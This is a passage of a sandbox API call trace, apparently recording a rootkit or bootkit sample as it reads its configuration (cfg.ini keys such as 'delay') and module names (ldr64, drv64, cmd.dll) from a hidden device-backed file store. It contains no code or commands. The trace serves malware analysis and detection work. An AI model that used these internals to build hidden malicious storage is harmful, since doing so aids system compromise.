Event=0xfffff880028b22c0) [0125.100] IdePortDispatch () returned 0x103 [0125.100] KeWaitForMutexObject () returned 0x0 [0125.100] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.100] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.100] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.100] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.100] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.100] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.100] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.100] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.100] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.100] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.100] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.100] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.100] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.100] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.100] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.101] KeLeaveCriticalRegion () [0125.101] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.101] ReleaseMutex (hMutex=0x100) returned 1 [0125.101] Sleep (dwMilliseconds=0x2bf20) [0125.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6dc249f0, dwHighDateTime=0x1d24fa4)) [0125.102] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.102] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.111] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.111] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.111] KeEnterCriticalRegion () [0125.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.111] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.111] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.112] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.112] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.112] IdePortDispatch () returned 0x103 [0125.112] KeWaitForMutexObject () returned 0x0 [0125.112] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.112] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.112] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.112] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.112] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.112] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9310 [0125.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.112] KeLeaveCriticalRegion () [0125.112] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.112] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.112] KeEnterCriticalRegion () [0125.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.112] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.112] KeLeaveCriticalRegion () [0125.112] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.112] KeEnterCriticalRegion () [0125.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.112] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.112] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.112] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.113] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.113] IdePortDispatch () returned 0x103 [0125.113] KeWaitForMutexObject () returned 0x0 [0125.113] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.113] KeLeaveCriticalRegion () [0125.113] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.113] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.113] KeEnterCriticalRegion () [0125.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.113] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba6000 [0125.113] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.113] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.113] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.113] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.113] IdePortDispatch () returned 0x103 [0125.113] KeWaitForMutexObject () returned 0x0 [0125.113] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.114] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.114] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.114] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.114] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.114] IdePortDispatch () returned 0x103 [0125.114] KeWaitForMutexObject () returned 0x0 [0125.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.114] KeLeaveCriticalRegion () [0125.114] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.114] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.114] KeEnterCriticalRegion () [0125.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.115] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.115] KeLeaveCriticalRegion () [0125.115] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.115] KeEnterCriticalRegion () [0125.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.115] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.115] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.115] KeLeaveCriticalRegion () [0125.115] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.115] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.115] KeEnterCriticalRegion () [0125.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.115] ExFreePoolWithTag (P=0xfffffa8003be9310, Tag=0x0) [0125.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.115] KeLeaveCriticalRegion () [0125.115] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.115] ReleaseMutex (hMutex=0xf0) returned 1 [0125.115] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.115] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.115] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.115] KeEnterCriticalRegion () [0125.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.115] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.115] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.115] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.115] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.115] IdePortDispatch () returned 0x103 [0125.116] KeWaitForMutexObject () returned 0x0 [0125.116] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.116] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.116] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.116] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.116] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.116] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5c50 [0125.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.116] KeLeaveCriticalRegion () [0125.116] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.116] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.116] KeEnterCriticalRegion () [0125.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.116] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.116] KeLeaveCriticalRegion () [0125.116] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.116] KeEnterCriticalRegion () [0125.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.116] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.116] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.116] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.116] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.116] IdePortDispatch () returned 0x103 [0125.116] KeWaitForMutexObject () returned 0x0 [0125.117] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.117] KeLeaveCriticalRegion () [0125.117] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.117] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.117] KeEnterCriticalRegion () [0125.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.117] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba7000 [0125.117] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.117] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.117] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.117] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.117] IdePortDispatch () returned 0x103 [0125.117] KeWaitForMutexObject () returned 0x0 [0125.117] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.117] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.117] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.117] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.117] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.117] IdePortDispatch () returned 0x103 [0125.118] KeWaitForMutexObject () returned 0x0 [0125.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.118] KeLeaveCriticalRegion () [0125.118] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.118] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.118] KeEnterCriticalRegion () [0125.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.118] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.118] KeLeaveCriticalRegion () [0125.118] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.118] KeEnterCriticalRegion () [0125.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.118] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.118] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.118] KeLeaveCriticalRegion () [0125.118] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.119] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.119] KeEnterCriticalRegion () [0125.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.119] ExFreePoolWithTag (P=0xfffffa8003bf5c50, Tag=0x0) [0125.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.119] KeLeaveCriticalRegion () [0125.119] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.119] ReleaseMutex (hMutex=0xf0) returned 1 [0125.119] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.119] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.119] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.119] KeEnterCriticalRegion () [0125.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.119] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.119] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.119] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.119] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.119] IdePortDispatch () returned 0x103 [0125.120] KeWaitForMutexObject () returned 0x0 [0125.120] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.120] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.120] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.120] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.120] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.120] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be8910 [0125.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.120] KeLeaveCriticalRegion () [0125.120] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.120] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.120] KeEnterCriticalRegion () [0125.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.120] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.120] KeLeaveCriticalRegion () [0125.120] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.120] KeEnterCriticalRegion () [0125.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.120] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.120] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.120] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.120] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.120] IdePortDispatch () returned 0x103 [0125.121] KeWaitForMutexObject () returned 0x0 [0125.121] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.121] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.121] KeLeaveCriticalRegion () [0125.121] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.121] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.121] KeEnterCriticalRegion () [0125.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.121] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba8000 [0125.121] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.121] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.121] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.121] IdePortDispatch () returned 0x103 [0125.121] KeWaitForMutexObject () returned 0x0 [0125.121] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.121] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.121] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.121] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.121] IdePortDispatch () returned 0x103 [0125.122] KeWaitForMutexObject () returned 0x0 [0125.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.122] KeLeaveCriticalRegion () [0125.122] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.122] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.122] KeEnterCriticalRegion () [0125.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.122] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.123] KeLeaveCriticalRegion () [0125.123] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.123] KeEnterCriticalRegion () [0125.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.123] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.123] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf5b00, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.123] KeLeaveCriticalRegion () [0125.123] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.123] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.123] KeEnterCriticalRegion () [0125.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.123] ExFreePoolWithTag (P=0xfffffa8003be8910, Tag=0x0) [0125.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.123] KeLeaveCriticalRegion () [0125.123] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.123] ReleaseMutex (hMutex=0xf0) returned 1 [0125.123] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.123] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.123] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.123] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.123] KeEnterCriticalRegion () [0125.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.123] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.123] 